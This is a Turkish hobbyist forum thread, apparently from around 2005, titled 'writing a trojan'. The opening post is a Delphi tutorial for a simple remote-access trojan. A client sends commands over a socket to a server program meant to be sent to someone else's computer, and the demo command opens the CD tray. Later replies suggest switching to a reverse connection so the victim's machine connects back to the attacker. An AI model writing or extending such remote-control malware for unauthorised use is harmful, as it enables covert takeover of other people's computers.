Forum
Aktif konular
Üyeler
Kurallar
Arama
Trojan Yazmak Trojan Yazmak
-
ihtiyaçlarınız;
---Borland Delphi (5 olrsa ii olur 7 de tsocketserver ve tclientserver sonradan eklemeyi gerektiriyor burada anlatmadım ama basit)
--biraz sabır
--arka fonda sevdğiniz bi müzik
Öncelikle client yani karşı bilgisayara yolladığımız serverımıza
bağlanmamızı sağlayacak programcığımızı oluşturacağız.
internet tabından Formumuza ClientSocket öğemizi ekliyoruz.
Kodları yazarken kolaylık olsun diye de adını Client olarak değiştiriyoruz
şimdi nedir bunlar;
port:karşı bilgisayara bağlanacağınız serverın açacağı kapının numarası(daha
basit nasıl açıklayabilrim ki :P örn:6610)
host:karşı bilgisayarın ip si
active:clientimizin aktif çalışr durumda olup olmadığı
şimdi formumuza iki edit yerleştiriyoruz birde button
edit1:port numarası yazacak
edit2:host adresi yazacak
buttonumuzun onclick eventine geliyoruz yani çift tıklıyoruz butonumuza :P
ve şöyle yazıyoruz
procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text=’’ then showmessage(’Port Numarası Boş’) else
if edit2.text=’’ then showmessage(’IP Adresi Boş’) else
begin
client.Port:=strtoint(edit1.text);// clientimizin port numarası sadece sayısal değer olacağından böyle yazmamız gerek
client.Host:=edit2.text;// Bağlanacağımız ip
client.Active:=true;//Clientimiz çalışır konuma geliyor son olarak
end
end;
end.
herşeyi doğru yaptıysnz yeni bir buton ve edit ekliyoruz.
ikisininde enabled:=false yapıyoruz.bir de memo ekleyelim onunda readonly sini true yapalım
şimdi clientimize geliyoruz ve events bölmünden onconnect e aşadığadki kodları yazıyoruz;
if client.Socket.Connected then begin
memo1.lines.add(’Bağlanıldı ’+edit2.text);
edit3.Enabled:=true;
button2.Enabled:=true;
edit1.enabled:=false;//port editimizi kapattık değiştirmeyelim diye
edit2.enabled:=false;//host editimizi kapattık yine değiştirmeyelim diye
button1.enabled:=false;//bağlandığımz için kapattık daha ihtiyaç yok bağlanılınca
end
burda servera yollayacağımız komutları edit3 ye yazacağız
ardından button2 ye tıkladığımızda da bu komutu servera ileteceğiz
bu sebeple önce aktif değillerdi ve clientimiz bağlandığında aktif hale
gelmelerini sağladık
ha unutmadan birde clientimizin disconnect evetine
memo1.Lines.Add(’Bağlantı Koptu ’+edit2.text);// bu kodla bağlantımızın kopup kopmadığını göreceğiz ...
şimdi button2 mizin onclick eventine şu kodları ekleyelim
client.Socket.SendText(edit3.text);// yani edit3 e yazacaklarımızı servera yolla diyoruz.
herşey bu kadar derleyip kaydedelim projemizi ...
////////////////////////////////////////////////
Gelelim server a şimdi server karşı tarafa yollayacağımız
exe truva atımız fonksiyonlarımız yani herşeyimiz aslında
yine yeni bir uygulaMa açıyoruz internet tabından serversocket nesnemizi ekliyoruz
adını yine kolaylık olsun die server olarak değiştirelim
port:clientimizden bağlanacağımız port burada sabit olacak mesela 6610 diyelim biz
active:true yapalım ancak önce portu ayarlayalım yoksa hata verir
ve ayrıca birde edit ekliyoruz formumuza komutları buraya alıcz
şimdi server ın onclientread eventine
edit1.text:=server.Socket.Connections[0].ReceiveText
ve mesela cdrom açtıralım ilk olarak bunun için
bunun için formumuzun kodların en baaşında uses kısmına
MMSystem ekleyelim
uses
Windows, Messages, ......MMSystem;
gibi olacak
sonra serverımızın onclientreadine şunları yazalım az önceki
kodlarımızn altına
if edit4.Text=’cdaç’ then mciSendString(’Set cdaudio door open wait’, nil, 0, handle); //ac
şimdi serverımızı derliyoruz ve açık bırakıp az önce derlediğimiz clientimiz açıyoruz ve
belirlediğimiz server portunu ve kendi ip adresimizi(127.0.0.1) yazıyoruz
bağlantı kurulduktan sonra komut yollayacağımız editimize "cdaç" yazıyoruz(tırnaklar yok)
veee cd rom umuzun açıldığını görüyuoruuuzz...
alnt... -
12/1/2005
saol :D -
adam o kdr yazmş 1sene kmse cvp yazmamş yuh :p
bare bizde saoL dieLm (: -
Reverse connection mantığı olmadan işe yaramaz artık.
-
Arkadaşlar bu forumda neden şaraplar yıllandıkça güzelleşir mantııyla konuların çouna yıllar geçtikten sonra cevap geliyo :D yine yıllanmış konulara yazıyoruz :D trojan yazcakların işine yarar ama :D
-
sagollllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll
sımdı denıyorum :)
tesekkurler
-
arkadasım bravo
kendi pc'mizde trojan yapıp kendı kendımızı hacklemek cıdden guzel bı olayda
hanı dıyorum internet ip adresi ilede calıssa bu program varya cok ıyı olurdu ama fazla sey ıstıyorum galıba :)
kendı pc'mızı hacklemek'te yeter be!
-
asynchour socket error hatası alıyorum bu torjanda
nasıl halledebılıroz
?
-
ercie34 bunu yazdı:
-----------------------------asynchour socket error hatası alıyorum bu torjanda
nasıl halledebılıroz
?
-----------------------------bak dai o internet üzerinden bağlanama sebebin adsl yüzündendir onun için ne yapacaksın
bak bu dökümanda client sende server onda oluyor demi tam tesini yap client o olsun server sen ol ve kendi modeminden bir port aç o sana bağlansın (reverse connection)
-
tesekkurler
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 4674 Toplam Mesaj: 10
Cevapla